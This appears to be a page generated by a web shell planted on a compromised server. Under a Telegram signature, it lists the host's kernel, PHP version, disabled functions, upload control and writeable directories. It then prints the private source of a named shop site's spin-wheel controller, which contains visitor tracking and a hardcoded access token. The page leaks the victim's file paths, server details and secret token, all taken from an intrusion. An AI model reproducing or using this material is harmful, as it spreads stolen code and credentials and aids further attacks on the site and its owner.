https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /proc/self/root/var/www/laciasmara.com/public_html/shop/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/laciasmara.com/public_html/shop/application/controllers/SpinWheel.php
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class SpinWheel extends Public_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->library('session');
        $this->load->model('Spin_model');
        $this->track_visitor();
    }

    private function track_visitor()
    {
        // $session_tracking = $this->session->userdata('visitor_tracking');

        $source = $this->determine_traffic_source();

        // Generate tracking ID only if there is no existing session data
        $tracking_id = uniqid('track_');

        // Prepare tracking data
        $tracking_data = array(
            'tracking_id' => $tracking_id,
            'source' => $source['utm_source'],
            'medium' => $source['utm_medium'],
            'campaign' => $source['utm_campaign'],
            'ip_address' => $this->input->ip_address(),
            'full_url' => current_url()
        );

        // Set the tracking data in session
        $this->session->set_userdata('visitor_tracking', $tracking_data);

        // Only insert to database if the tracking_id is newly created
        $track_data = array(
            'id' => $tracking_id,
            'link_url' => $tracking_data['full_url'],
            'source' => $tracking_data['source'],
            'ip_address' => $tracking_data['ip_address'],
            'user_agent' => $this->input->user_agent(),
            'referer' => $this->input->server('HTTP_REFERER'),
            'utm_source' => $tracking_data['source'],
            'utm_medium' => $tracking_data['medium'],
            'utm_campaign' => $tracking_data['campaign'],
        );

        $this->db->insert('link_tracks', $track_data);
    }

    private function determine_traffic_source()
    {
        // Check UTM Parameters first
        $utm_source = $this->input->get('utm_source');
        $utm_medium = $this->input->get('utm_medium');
        $utm_campaign = $this->input->get('utm_campaign');

        // Check HTTP Referer if UTM is not present
        $referer = $this->input->server('HTTP_REFERER');
        $parsed_referer = $referer ? parse_url($referer) : null;

        // Initialize with default values
        $source = [
            'utm_source' => 'direct',
            'utm_medium' => 'organic',
            'utm_campaign' => 'organic'
        ];

        // If UTM parameters exist, use them
        if ($utm_source) {
            $source['utm_source'] = $utm_source;
            $source['utm_medium'] = $utm_medium ?: 'unknown';
            $source['utm_campaign'] = $utm_campaign ?: 'none';
        }
        // If no UTM but referer exists, try to determine source from referer
        elseif ($parsed_referer) {
            $host = strtolower($parsed_referer['host']);

            // Check for common sources
            if (strpos($host, 'google') !== false) {
                $source['utm_source'] = 'google';
                $source['utm_medium'] = 'organic';
            } elseif (strpos($host, 'facebook.com') !== false) {
                $source['utm_source'] = 'facebook';
                $source['utm_medium'] = 'social';
            } elseif (strpos($host, 'instagram.com') !== false) {
                $source['utm_source'] = 'instagram';
                $source['utm_medium'] = 'social';
            } elseif (strpos($host, 't.co') !== false || strpos($host, 'twitter.com') !== false) {
                $source['utm_source'] = 'twitter';
                $source['utm_medium'] = 'social';
            } elseif (strpos($host, 'linkedin.com') !== false) {
                $source['utm_source'] = 'linkedin';
                $source['utm_medium'] = 'social';
            } else {
                $source['utm_source'] = $host;
                $source['utm_medium'] = 'organic';
            }

            $source['utm_campaign'] = 'none';
        }
        // If neither UTM nor referer, it's direct traffic
        else {
            $source['utm_source'] = 'direct';
            $source['utm_medium'] = 'organic';
            $source['utm_campaign'] = 'organic';
        }

        // Store raw referer for debugging
        $source['raw_referer'] = $referer;

        return $source;
    }

    public function index()
    {
        $token = $this->input->get('token');
        if ($token) {
            $valid_token = 'N1O4V5';
            if ($token === $valid_token) {
                $this->session->set_userdata('access_token', $token);
                redirect('SpinWheel');
            } else {
                show_error('Invalid token. Access denied.', 403);
            }
        }

        $access_token = $this->session->userdata('access_token');
        if ($access_token) {
            $this->load->view('spin_wheel');
        } else {
            show_error('No valid token found. Access denied.', 403);
        }
    }
    public function log_prize()
    {
        if ($this->input->is_ajax_request()) {
            $prize_name = $this->input->post('result');

            if ($prize_name) {
                if ($this->Spin_model->is_ip_used($this->input->ip_address())) {
                    echo json_encode(['status' => 'error', 'message' => 'Kamu sudah menggunakan kesempatan kamu.']);
                    return;
                }
                if ($this->Spin_model->save_log($prize_name)) {
                    echo json_encode(['status' => 'success', 'message' => 'Log saved successfully.']);
                } else {
                    echo json_encode(['status' => 'error', 'message' => 'Failed to save log.']);
                }
            } else {
                echo json_encode(['status' => 'error', 'message' => 'Prize name is required.']);
            }
        } else {
            show_error('Unauthorized request', 403);
        }
    }
}

https://t.me/RX1948 - 2025